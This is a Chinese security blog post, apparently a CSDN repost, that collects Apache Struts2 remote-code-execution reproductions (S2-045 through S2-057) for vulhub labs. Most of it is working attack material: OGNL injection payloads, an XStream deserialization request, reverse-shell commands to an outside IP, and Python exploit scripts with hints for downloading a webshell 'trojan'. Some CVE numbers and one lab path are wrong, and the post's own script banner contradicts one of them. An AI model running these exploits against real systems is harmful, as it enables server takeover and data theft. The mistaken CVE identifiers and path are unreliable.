漏洞复现|Struts2系列漏洞复现总结
作者:互联网
作者: r0n1n
免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。
Struts2-045(CVE-2017-5683)
0x01 漏洞描述
Apache Struts 2最初被称为WebWork 2,它是一个简洁的、可扩展的框架,可用于创建企业级Java web应用程序。设计这个框架是为了从构建、部署、到应用程序维护方面来简化整个开发周期。
Struts2默认使用org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest类对上传数据进行解析。其在处理Content-Type时如果获得非预期的值的话,将会抛出一个异常,在此异常的处理中会对错误信息进行OGNL表达式解析。
0x02 影响版本
Struts 2.3.5 - Struts 2.3.31
Struts 2.5 - Struts 2.5.10
0x03 测试环境
1、使用vulhub
cd ./vulhub-master/influxdb/unacc
docker-compose up -d
2、访问http://your-ip:8080/
0x04 漏洞复现
Content-Type:"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='命令').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
Struts2-048(CVE-2017-9791)
0x01 漏洞描述
使用了Apache Struts 1插件的Apache Struts 2.3.X版本中存在远程代码执行漏洞,该漏洞出现于Struts2的某个类中,该类是为了将Struts1中的Action包装成为Struts2中的Action,以保证Struts2的兼容性。在Struts2中的Struts1插件启用的情况下,远程恶意访问者可通过使用恶意字段值,构造特定的输入,发送到ActionMessage类中,从而导致任意命令执行,进而获取目标主机系统权限。
0x02 影响版本
2.0.0 - 2.3.32
0x03 测试环境
1、使用vulhub
cd ./vulhub//struts2/s2-048$
docker-compose up -d
2、访问http://your-ip:8080//showcase/
0x04 漏洞复现
检测存在漏洞,然后执行命令
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}
"/bin/bash","-c","bash -i >& /dev/tcp/192.168.236.129/2333 0>&1"
Struts2-052(CVE-2017-9805)
0x01 漏洞描述
当Struts2使用REST插件使用XStream的实例xstreamhandler处理反序列化XML有效载荷时没有进行任何过滤,可以导致远程执行代码,攻击者可以利用该漏洞构造恶意的XML内容获取服务器权限。
0x02 影响版本
Struts 2.1.2 - Struts 2.3.33
Struts 2.5 - Struts 2.5.12
0x03 测试环境
1、使用vulhub
cd ./vulhub//struts2/s2-052$
docker-compose up -d
2、访问http://your-ip:8080/orders.xhtml
0x04 漏洞复现
修改orders.xhtml为orders.xml或修改Content-Type头为application/xml,可在Body中传递XML数据。
POST /orders/3/edit HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/xml
Content-Length: 2415
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>bash</string>
<string>-c</string>
<string>bash -i >& /dev/tcp/x.x.x.x/port 0>&1</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
0x05 POC
import requests
import argparse
import re
parser = argparse.ArgumentParser()
parser.add_argument('url',help='Target url')
parser.add_argument('cmd',help='Run command')
args = parser.parse_args()
list = []
def spider(url):
global list
r = requests.get(url)
html = r.text
links = re.findall(r'(?<=href=\").+?(?=\")',html)
for u in links:
if not re.findall(url,u):
list.append(url + str(u))
else:
list.append(u)
def attack(cmd):
global list
for u in list:
url = u
headers = {"Content-Type":"application/xml"}
cmd = cmd
data = '''<map>
<entry>
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>{cmd}</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
'''.format(cmd=cmd)
r = requests.get(url,data=data,headers=headers)
if r.status_code == 500:
print ('exploit success!')
else:
print ('exploit fail')
if args.url and args.cmd:
spider(args.url)
attack(args.cmd)
Struts2-053(CVE-2017-12611)
0x01 漏洞描述
Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次后变成离开一个表达式,被OGNL解析第二次,导致任意命令执行漏洞。
0x02 影响版本
Struts 2.1.2 - Struts 2.3.33
Struts 2.5 - Struts 2.5.12
0x03 测试环境
1、使用vulhub
cd ./vulhub//struts2/s2-053$
docker-compose up -d
2、访问http://your-ip:8080/hello.action
看到一个提交页面
0x04 漏洞复现
0x05 POC
import requests
import sys
from lxml import html
class Exploit:
def exp(self,url,cmd):
headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8','Referer':'http://96.63.216.104:8080/hello.action','Connection':'close','Cookie':'JSESSIONID=E25862AE388D006049EA9D3CEF12F246','Upgrade-Insecure-Requests':'1','Cache-Control':'max-age=0'}
params={"redirectUri":"%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+cmd+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}"+"\n"}
r=requests.post(url,headers=headers,params=params)
page=r.text
etree=html.etree
page=etree.HTML(page)
data=page.xpath('//body/p')
print(data[0].text)
if __name__=='__main__':
if len(sys.argv)!=3:
print('+-------------------------------------------------------------------------------+')
print('+ USE: python3 <filename> <url> <command> +')
print('+ EXP: python3 struts2-053_command.py http://1.1.1.1:7001/hello.action id +')
print('+ VER: Struts 2.0.1-2.3.33 +')
print('+ Struts 2.5-2.5.10 +')
print('+-------------------------------------------------------------------------------+')
print('+ GET: wget -P /usr/local/tomcat/webapps/ROOT/ 2.2.2.2/shell.jsp +')
print('+-------------------------------------------------------------------------------+')
sys.exit()
url=sys.argv[1]
cmd=sys.argv[2]
attack=Exploit()
attack.exp(url,cmd)
Struts2-057(CVE-2017-11776)
0x01 影响版本
版本:<= Struts 2.3.34
Struts 2.5.16
0x02 测试环境
1、使用vulhub
cd ./vulhub//struts2/s2-057$
docker-compose up -d
访问http://your-ip:8080/showcase
0x03 漏洞复现
http://ip:8080/showcase/%24%7B%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23w%3D%23ct.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%28@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27cat /etc/passwd%27%29.getInputStream%28%29%29%29%29.%28%23w.close%28%29%29%7D/actionChain1.action
0x04 POC
import requests
import sys
from lxml import html
class Exploit:
def __init__(self):
self.payload="/%24%7B%0A(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B'struts.valueStack'%5D.context).(%23cr%3D%23ct%5B'com.opensymphony.xwork2.ActionContext.container'%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec('"+cmd+"')).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D"
def exp(self,url,cmd):
headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8','Referer':'http://96.63.216.104:8080/actionchaining/register2.action','Connection':'close','Cookie':'JSESSIONID=E25862AE388D006049EA9D3CEF12F246','Upgrade-Insecure-Requests':'1','Cache-Control':'max-age=0'}
tturl=url+"/struts2-showcase/"+"%24%7B%0A(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B'struts.valueStack'%5D.context).(%23cr%3D%23ct%5B'com.opensymphony.xwork2.ActionContext.container'%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec('"+cmd+"')).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D"+"/actionChain1.action"
r=requests.get(tturl,headers=headers)
page=r.text
etree=html.etree
page=etree.HTML(page)
data=page.xpath('//footer/div[1]/p[1]/a[1]/@*')
print(data)
if __name__=='__main__':
print('+------------------------------------------------------------+')
print('+ USE: python3 <filename> <url> <command> +')
print('+ EXP: python3 struts2-057_command.py http://1.1.1.1:9081 id +')
print('+ VER: Struts 2.0.4-2.3.34 +')
print('+ Struts 2.5.0-2.5.16 +')
print('+------------------------------------------------------------+')
print('+ S2-057 远程执行漏洞 && CVE-2018-11776 +')
print('+------------------------------------------------------------+')
if len(sys.argv)!=3:
print("[+]ussage: http://ip:端口 cmd命令")
print("[+]hint:wget%20-P%20/usr/local/tomcat/webapps/ROOT/%2096.63.216.104/1.jsp 下载木马")
print("[+]===============================================================================")
sys.exit()
url=sys.argv[1]
cmd=sys.argv[2]
attack=Exploit()
attack.exp(url,cmd)
了解更多安全知识
欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!
标签:Struts,url,cmd,28%,29,漏洞,Struts2,复现,print 来源: https://blog.csdn.net/weixin_42282189/article/details/121126014